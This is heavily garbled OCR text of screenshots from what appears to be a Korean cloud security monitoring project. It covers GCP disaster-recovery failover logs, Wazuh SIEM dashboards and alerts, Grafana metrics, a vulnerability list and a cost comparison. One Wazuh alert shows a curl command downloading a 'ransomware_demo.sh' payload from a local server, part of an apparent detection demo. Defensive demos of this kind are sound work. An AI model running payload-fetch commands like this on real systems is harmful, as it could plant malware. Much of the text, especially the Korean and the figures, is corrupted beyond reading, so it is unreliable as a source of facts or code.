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WARNING :

To increase the performance of the tunnel, consi installing NumPy. For ins
tructions,

please https://cloud.google.com/iap/docs/using-tcp-forwarding#increasing_
the_tcp_upload_bandwidth

DR failover monitor live logs ===
19 ©81:25:53 gcp-rds-proxy-6thr systemd[1]: Stopped gcp-dr-failover.serv
GCP DR failover monitor.
19 81:25 gcp-rds-proxy-6thr systemd[1]: gcp-dr-failover.service: Consu
7.095s CPU time.
19 01:2 gcp-rds-proxy-6thr systemd[1]: Started gcp-dr-failover.servic
C * monitor.
Jun 19 9:58 gc s-proxy-6thr gcp-dr-failover[5827]: 2L Al%E: mode=a
utomati @s failure threshold=3 reco threshold=5
Jun 19 01:40:07 gcp-rds-proxy-6thr systemd[1]: ping gcp-dr-failover.servi
ce - GCP DR failover monitor...
Jun 19 ©01:40:07 rds-proxy-6thr systemd[1]: gcp-dr-failover. ice: Deact
ivated succe
rds-proxy-6thr systemd[1]: Stopped gcp-dr-failover.servic
monitor.
rds-proxy-6thr systemd[1]: gcp-dr-failover.service: Consu

) gcp-rds-proxy-6thr systemd[1]: Started gcp-dr-failover.servic
ver monitor.
p-rds-proxy-6thr gcp-dr-failover[6477]: 2LIE AlE: mode-a

desired | pending | running
[

I
+

OO-OO-OO OO == GCP DR MIG ===
2 ~ . NAME TARGET_SIZE CREATING

AlZE B = LETING NONE
gcp-dr-reservation-mig @

NAME: A: 18.60.75.199 18.61.214.147 18.60.10.18

mzclinic.cloud /health
code=200 ssl=0 remote ip=18.61.214.147 time=0.829
551s

I
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Overview

AGENTS SUMMARY
= — = = g
® Active (4)
I @ Disconnected (0) Critical severity

-0 0

Rule level 15 or higher Rule level 12to 14

v Manager. 2 27! Agent SA| 29!

Configuration Assessment Malware Detection @

Scan your assets as part of a configuration assessment Check indicators of compromise triggered by malware
audit infections or cyberattacks.

File Integrity Monitoring {0}

Alerts related to file changes, including permissions,
content, ownership, and attributes.

SECURITY OPERATIONS

IT Hygiene —, PCIDss

Assess system, software, processes, and network |ayers Global security standard for entities that process, store,
to detect misconfigu ns, unauthorized changes, and or transmit payment cardholder data.
anomalies.

High severity

LAST 24 HOURS ALERTS

3

Rule level 7 to 11

Medium severity

Low severity

24

Rule level 010 6

THREAT INTELLIGENCE

Threat Hunting

Browse through your security alerts, identifying issues
and threats in your environment

MITRE ATT&CK

Explore security alerts mapped to adversary tactics and
techniques for better threat understanding

fO Vulnerability Detection

Discover what applications in your environment are
affected by well-known vulnerabilities.

CLOUD SECURITY

Docker
Monitor and collect the activity from Docker containers
s as creation, running, starting, stopping or pausing
events.

aws  Amazon Web Services
—

Security events related to your Amazon AWS services,
collected directly via AWS API,

y Export Formatted © Resetview /& 884 available fields (D ¥ Columns [3 Density ¥ 1fields sorted
+ timestamp agent.name ~ rule.description
Jun 23, 2026 @ 09:13:06.325  ip-10-0-11 Lambda &4 | [ERROR]
Jun 23, 20268 @ 09:.13:06.323  ip-10-0-11 Lambda &% | & [ERROR]
Jun 23, 2026 @ 09:13:06.322 10-0-11-€ Lambda &% 1 E [ERROR]
Jun 23, 2026 @ 09:13:06.319 p-10-0-11-& Lambda &% HIH BIX [E R]

— o e o o o o — e —

Jun 23, 2026 @ 09:12:30.888 10-0-11-66 mhg 24 Z: Ivarfossec/ete/rules/al

23,2026 @ 09:12:21,388  ip-10-0-11-6 sudo root 28t
2026 @ 09:10:03.380 ip-10-0-11- ]

-10-0-11-66 o 2 : Ivar/ossec/etc/rulesfia
Jun 23, :06:15. i EU_'IGE_ - T :I:ID:D
Jun 23, :05:39. ip-10-0-11-66 sudo root HEF HE — AHE XL ssmi-user #
Jun 23, 2026 @ 08:01:36.296 ecs-ec2-10-0-13-15 Wazuh agent stopped.
Jun 23, 2026 @ 07:51:06.719  gcp-rds-proxy-01
Jun 23, 2026 @ 07:48:00.455  ip-10-0-11-66 RDS @2}0|YE F& 71K

Jun 23, 2026 @ 07:46:08.071 ecs-ec2-10-0-13-15

Jun 23, 2026 @ 07:46:08.065 ecs-ec2-10-0-13-15

systemd A{H| A OFE #3H &I (fetc) - persistence 2

systemd A{H| A OFE #3H B (fetc) - persistence 2

Jun 22, 2026 @ 09:14:48.896 - Jun 23, 2026 @ 09:14:46.896

i Full screen

—
b _rul

- ALE X} sem-user 24 : Jusribin/vi varfossec/ete/rules/alb_rules. xmi

sudo root 2 HE — AMEX}: ssm-user 24 : Jusr/bin/cat fvarfossec/etc/rulesflocal_rules.xmi

mizda_rules.xml 3 ¥%: inode,mtime

M AL ssm-user 98 FH: jusr/bin/vi /varfossec/etc/rules/lambda_rules.xml

fusr/bin/vi fvarfossec/etc/rules/alb_rules.xmil

Cloud SGQL 22|Xt £ B X — action: ADMIN_AUTOMATICSTORA

A
=}

TN
=}

v oj@ B0l d2iM ofE HIE= SxXHEX] H ks

- . S S S S S s . .
e5.

xml HE B size inode,mtime mdS,shal,sha256

o

rule.level ~
12
12

12

rule.id

100830

100830

100830




=X & 4Al

1 2
HiolA & &7 ZH Uy ooz Koj
23 RO A if_sid2 &ZX + TN FE7} level M alert

0{) Rule 100650 (H|0]A)  Rule 100654 (X7 60 LH 50%2]) 0| |fZ EX| (level 12)
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=X & 4Al

1 2
HiolA & &7 ZH Uy ooz Koj
23 RO A if_sid2 &ZX + TN FE7} level M alert

0{) Rule 100650 (H|0]A)  Rule 100654 (X7 60 LH 50%2]) 0| |fZ EX| (level 12)

67



=X & 4Al

1 2
HiolA & &7 ZH Uy ooz Koj
23 RO A if_sid2 &ZX + TN FE7} level M alert

0{) Rule 100650 (H|0]A)  Rule 100654 (X7 60 LH 50%2]) 0| |fZ EX| (level 12)
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1:22:21 100651 (Level 12)

OF| 2% 9:54 10| F7I8t wazuh-slack
m : $ curl -o /home/mspadmin/deidentification-api/ransomware_paylo:

sh http //127 0 0 1 8888 /ransomware_demo.sh

% Total % Received % Xferd Average Speed Time Time Time Current VAZUH Alert
100 6757 106 €757 o %ggﬂ Ulﬂogd__:?f?} SPe"t Leftsggggk 20| A DB $18 0|#IE — LOCK_USER A}8X}: cfae00e0-62f2-41ad-b5d!
mspadmin@mspserver:-$ 65521397f2fe IP: 127.0.0.1 E|O|&: users
{"audit_log_id":"decd1538-76f4-43ee-a34a-2fad7bb617ce","user_id":"cfaeO(
41ad-b5d9- o
X 65521397f2fe""patient_id":null,"action_type":"LOCK_USER""target_table":"u

t_id":"6b416483-3d6éa-4b43-9ce2-

83adéed5Sbaéf",'source_ip":"127.0.0.1" "result_code":"200""event_at":"2026-
18T12:53:25.04075"}

Agent

(003) - onprem-mspserver

Location

/var/log/deident/db_audit.log

Rule ID

100651 (Level 12)

oA 2= 9:54 £0| =22t wazuh-slack

el Ho|2=S EF—E—EEﬁhT'_ AdH At (chmod +x)2 Ho{giL|Ct
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wins_user@wins bash demo_log_indexer.sh i-0bld4aad8e5f637b07b

=== HOj 4% 2H: YN NLHA FE ===

Medium severity

ENDFOINT SECURITY THREAT INTELLIGEMC




=a] A
HHEEI -rﬂ

Alloy + Prometheus + Grafana

— - — A\ —
Grafana?l OFE @=ZAA of|E2! £7! 0fj0|FE
Alloy -!- Node Exporter
-w
9l Alloy® Mi%LL?
Push BtAl - 0j|0|™ME7ZE 2I™H ™S Pull 8}Al  Prometheus?t 7182 7
WAL HE{Z R0§ Z0|E A|CH 8AI7F of|E2) BE XHH| 3 BlS

o =7 7 XS TS ME THE e & HIolH /4
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6:7: mzclinic.cloud

& Grafana N2

= -

~ CPU

CPU A8E 8M

v 22

W22 A8Y

17:00 17:30 18-00 18:30 1500 193

Name Mean Max

>~

Grafana @

® Waxuh
= W Overview
AGENTS SUMMARY
® Active (4)
@ Disconne

LAST 24 HOURS ALERTS

Critical severity

Medium severity

1

Rule level 7to 1

Low severity

12

Rule leveiOto 6

ENDPOINT SECURITY

[TE ® CostAl

oIy @2l T 2ize} U8 By

Al

GCP Y| 43 BY

GCP H|BO| 3%

i GCP H|8 H0|

U u 8

L 63 ¥8O| BIFYHOR RE OIF

* 68 »H(16%) 88,515
o WU AVE 552
o HYIYX(30% I1F): 1659728

3 1

(extrapolation) SBAULICE 4 SHM FAIT TN 68 44 ¥

20|

ot TIFE YER(2026-06°18 713

GCP B180| 4 0| YA S}

HY iyl

10171 S OILILE
) 017| gRYUL

] 90.6%MX] F2i AR AUl A4S HOE Y

£ 9 89,000~92,0008 £EY 7
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wazuh-report % <z 11
ﬁw:m&ﬂsaﬂhu
) A7 80421 / BDAALT+) 3732 / MY 67

WaZUh % &!% Ej # i 2y 2ot vy

“HD AR 202611 6 22 | **H4: T WA SOC BME

_l_ o .
D—I | ? 11210] T MESI Vault AT XFA0] 81 4 NIS0| YEX O M| 0| HUSIAGLICL S0 HOJEHI0|A 2ot HAM AIAH T2l D244 Hei7t %o VY5 Yoi THHQ YE BS
- — 1074 ol o] -Xi5io] 2lo} 2ol cigo] RYLICE

- . e
o _I..ﬂ o - i -
I E &4t lambda_rules.xml, ecs_rules.xml, onprem_rules.xml, local_rules.xml, rds_rules.xmi, alb_rules.xml, monitoring_rulesxml § 4 EX] 3259 inode, mtime, size7t MU0, o= Z2X7} &

| Q2R oI BXS JA| vlRdtD RAYES S Mo UL

mspadmin/hospital-db/vault-data/sys/expire/ 22| £2 gI2 clojE|c HASAGL

#ii B SA| =X L Afet
**SIEM A|AE] KH| &4 oA — EX| & I Ok =

- A O Ay k%
s K2 HEZ E20F 2 AH|0|E (2MA92).
iRt 28 oA -
ECS FastAPI — UNI
"He ALAZE 9 §
2I20|A pB ZA
2030|A pB ZAb
A AlZt 9| sudo

| 2jY o = oY Y AT/ HE HXZ BRSUCCS MA LAY HEHS AT W

":12,"description”:
":12,"description”

3,"description”
":12,"description
":3,"description”
":3,"description”
":8,"description™
:5,"description”
":5,"description™
":8,"description”
":8,"description”
":3,"description”
":3,"description”
":3,"description™
":8,"description”

1. libmagickwand-6.q16-6Z 8:6.9.11.60+dfsg-1.3ubuntu0.22.04.5+esm10 0|42 =2 2] 120 = (onprem-mspserver) s sssen s zus oom nus vesse sum suszs 3¢

% 2. linux-image-5.15.0-179-genericE Z| 4 x| H{FE O 2 Y 12]|0| = (onprem-mspserver) yom o o o
2iim 3. libcap2 2.73-1.amzn2023.0.7 0| A2 2 130 = (ecs-ec2-10-0-11-64)
w4
5

&

libc62 H A Hot IjX] HHC 2 2] 712|0|= (onprem-mspserver)
. polkitdS & HE O 2 2 712|0| = (onprem-mspserver) .

ECS FastAPI — UNI
YT AlZt 9| sudo
YRAIZE 9| £
YLAIZ 9| £
ARAIZ 2 §
YRAIZE 9| §
":3,"description”:"@I|0]A pB ZAH
L. HUI R RV U0 LO™ORF 0:0.7. L LOUTUISE™ LOUUUNIULLL LU, ITESHLU VIS S0 B—tevI= (U T e et )
2. linux-image-5.15.0-179-generic2 & mX| HHOZ 2J1240| = (onprem-mspserver)

3. libcapZ 2.73-1.amzn2023.0.7 0|49 2 Y1120 = (ecs-ec2-10-0-11-64)

4. libcs 8 Ml ot Mx| H O 2l J1240|= (onprem-mspserver)

5. pokitdS &4 BIF O 2 ¢ 3240| = (onprem-mspserver)

# W4 E8 ol Y A Mg

"*1891: SIEM AAH R3H 57 U TAY FAP
Wazuh BX] 174 mglo] MEE 212 2%t 2ot HAS Lot 92 Y| RoiFUCL JA RE 0O|HES] 4 S FY
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pize & H|S
=X

AWS + GCP + 2|ojA = (¥ 24,000,000)

AWS ZEIRE GCP ZeIE =Z|0jA HS

(k“j.l plyl VNl 7<-|7|E HELZ m/\-l)

o1,



XD
2 ot AS-IS TO-BE o
GCP GCP DR VM AWS ZHOH 28 of TH7EX| AFA| CHY| HaAAl 0 O =X SWANA
GCP AWS-GCP VPN &2 GCP HA VPN Classic VPN 45.8%
(L™ AHE 23) + HAProxy& 22! CE 1cH
AWS ALB E% patient-alb(2XH), hospital-alb £r2! ALBZ 8! 1.6%
staff-alb(S=T!) FE|
NS ECS EC2 Ct=At0[E! 13.large 13.medium 2.6%
AWS ECS Warmpool EC2 &Al CH?| =Z2 2 MX|E Custum AMI At TARYA
(5EHE MEHE EBS H[S BH4Y)
AWS S3 AEEX| AHE S3 71 HE A2 AAERI 27 RDS 9=, Terraform AA ZE  0.2%
S= UAA

A HIE 0 Ot2f Glacier Archive
= Glacier HE02 T

o ———
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XD
2 ot AS-IS TO-BE o
GCP GCP DR VM AWS ZHOH 28 of TH7EX| AFA| CHY| HaAAl 0 O =X SWANA
GCP AWS-GCP VPN &2 GCP HA VPN Classic VPN 45.8%
(L™ AHE 23) + HAProxyE 22! CE 1cH
AWS ALB E% patient-alb(2XH), hospital-alb £r2! ALBZ 8! 1.6%
staff-alb(S=T!) FE|
NS ECS EC2 Ct=At0[E! 13.large 13.medium 2.6%
AWS ECS Warmpool EC2 &Al CH?| =Z2 2 MX|E Custum AMI At TARYA
(5EHE MEHE EBS H[S BH4Y)
AWS S3 AEEX| AHE S3 71 HE A2 AAERI 27 RDS 9=, Terraform AA ZE  0.2%
S= UAA

A HIE 0 Ot2f Glacier Archive
= Glacier HE02 T

o ———
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